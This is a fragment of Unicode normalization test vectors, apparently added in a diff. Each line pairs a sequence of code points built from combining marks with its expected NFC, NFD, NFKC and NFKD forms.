+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE7, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE8, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE9, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DEA, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DEA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DEA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DEA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DEA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DEA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DEA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DEA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DEA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DEA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DEB, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DEB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DEB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DEB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DEB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DEB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DEB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DEB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DEB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DEB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DEC, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DEC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DEC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DEC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DEC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DEC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DEC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DEC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DEC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DEC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DED, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DED, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DED, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DED, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DED, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DED, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DED, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DED, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DED, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DED, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DEE, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DEE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DEE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DEE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DEE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DEE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DEE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DEE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DEE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DEE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DEF, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DEF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DEF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DEF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DEF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DEF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DEF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DEF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DEF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DEF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DF0, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DF0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DF0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DF0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DF0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DF0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DF0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DF0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DF0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DF0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DF1, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DF1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DF1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DF1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DF1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DF1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DF1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DF1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DF1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DF1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DF2, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DF2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DF2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DF2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DF2, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DF2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DF2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DF2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DF2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DF2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DF3, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DF3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DF3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DF3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DF3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DF3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DF3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DF3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DF3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DF3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DF4, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DF4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DF4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DF4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DF4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DF4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DF4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DF4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DF4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DF4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DF5, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DF5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DF5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DF5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DF5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DF5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DF5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DF5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DF5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DF5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DFB, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DFB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DFB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DFB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DFB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DFB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DFB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DFB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DFB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DFB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x035D, 0x035C, 0x0315, 0x1DFC, 0x0062], NFC: [0x0061, 0x0315, 0x035C, 0x1DFC, 0x035D, 0x0062], NFD: [0x0061, 0x0315, 0x035C, 0x1DFC, 0x035D, 0x0062], NFKC: [0x0061, 0x0315, 0x035C, 0x1DFC, 0x035D, 0x0062], NFKD: [0x0061, 0x0315, 0x035C, 0x1DFC, 0x035D, 0x0062] },
+{ source: [0x0061, 0x1DFC, 0x035D, 0x035C, 0x0315, 0x0062], NFC: [0x0061, 0x0315, 0x1DFC, 0x035C, 0x035D, 0x0062], NFD: [0x0061, 0x0315, 0x1DFC, 0x035C, 0x035D, 0x0062], NFKC: [0x0061, 0x0315, 0x1DFC, 0x035C, 0x035D, 0x0062], NFKD: [0x0061, 0x0315, 0x1DFC, 0x035C, 0x035D, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1DFD, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1DFD, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1DFD, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1DFD, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1DFD, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DFD, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1DFD, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1DFD, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1DFD, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1DFD, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DFE, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DFE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DFE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DFE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DFE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DFE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DFE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DFE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DFE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DFE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1DFF, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1DFF, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1DFF, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1DFF, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1DFF, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DFF, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1DFF, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1DFF, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1DFF, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1DFF, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20D0, 0x0062], NFC: [0x00E0, 0x05AE, 0x20D0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20D0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20D0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20D0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20D0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20D0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20D0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20D0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20D0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20D1, 0x0062], NFC: [0x00E0, 0x05AE, 0x20D1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20D1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20D1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20D1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20D1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20D1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20D1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20D1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20D1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x20D2, 0x0062], NFC: [0x0061, 0x0334, 0x20D2, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x20D2, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x20D2, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x20D2, 0x093C, 0x0062] },
+{ source: [0x0061, 0x20D2, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x20D2, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x20D2, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x20D2, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x20D2, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x20D3, 0x0062], NFC: [0x0061, 0x0334, 0x20D3, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x20D3, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x20D3, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x20D3, 0x093C, 0x0062] },
+{ source: [0x0061, 0x20D3, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x20D3, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x20D3, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x20D3, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x20D3, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20D4, 0x0062], NFC: [0x00E0, 0x05AE, 0x20D4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20D4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20D4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20D4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20D4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20D4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20D4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20D4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20D4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20D5, 0x0062], NFC: [0x00E0, 0x05AE, 0x20D5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20D5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20D5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20D5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20D5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20D5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20D5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20D5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20D5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20D6, 0x0062], NFC: [0x00E0, 0x05AE, 0x20D6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20D6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20D6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20D6, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20D6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20D6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20D6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20D6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20D6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20D7, 0x0062], NFC: [0x00E0, 0x05AE, 0x20D7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20D7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20D7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20D7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20D7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20D7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20D7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20D7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20D7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x20D8, 0x0062], NFC: [0x0061, 0x0334, 0x20D8, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x20D8, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x20D8, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x20D8, 0x093C, 0x0062] },
+{ source: [0x0061, 0x20D8, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x20D8, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x20D8, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x20D8, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x20D8, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x20D9, 0x0062], NFC: [0x0061, 0x0334, 0x20D9, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x20D9, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x20D9, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x20D9, 0x093C, 0x0062] },
+{ source: [0x0061, 0x20D9, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x20D9, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x20D9, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x20D9, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x20D9, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x20DA, 0x0062], NFC: [0x0061, 0x0334, 0x20DA, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x20DA, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x20DA, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x20DA, 0x093C, 0x0062] },
+{ source: [0x0061, 0x20DA, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x20DA, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x20DA, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x20DA, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x20DA, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20DB, 0x0062], NFC: [0x00E0, 0x05AE, 0x20DB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20DB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20DB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20DB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20DB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20DB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20DB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20DB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20DB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20DC, 0x0062], NFC: [0x00E0, 0x05AE, 0x20DC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20DC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20DC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20DC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20DC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20DC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20DC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20DC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20DC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20E1, 0x0062], NFC: [0x00E0, 0x05AE, 0x20E1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20E1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20E1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20E1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20E1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20E1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20E1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20E1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20E1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x20E5, 0x0062], NFC: [0x0061, 0x0334, 0x20E5, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x20E5, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x20E5, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x20E5, 0x093C, 0x0062] },
+{ source: [0x0061, 0x20E5, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x20E5, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x20E5, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x20E5, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x20E5, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x20E6, 0x0062], NFC: [0x0061, 0x0334, 0x20E6, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x20E6, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x20E6, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x20E6, 0x093C, 0x0062] },
+{ source: [0x0061, 0x20E6, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x20E6, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x20E6, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x20E6, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x20E6, 0x0334, 0x093C, 0x0062] },
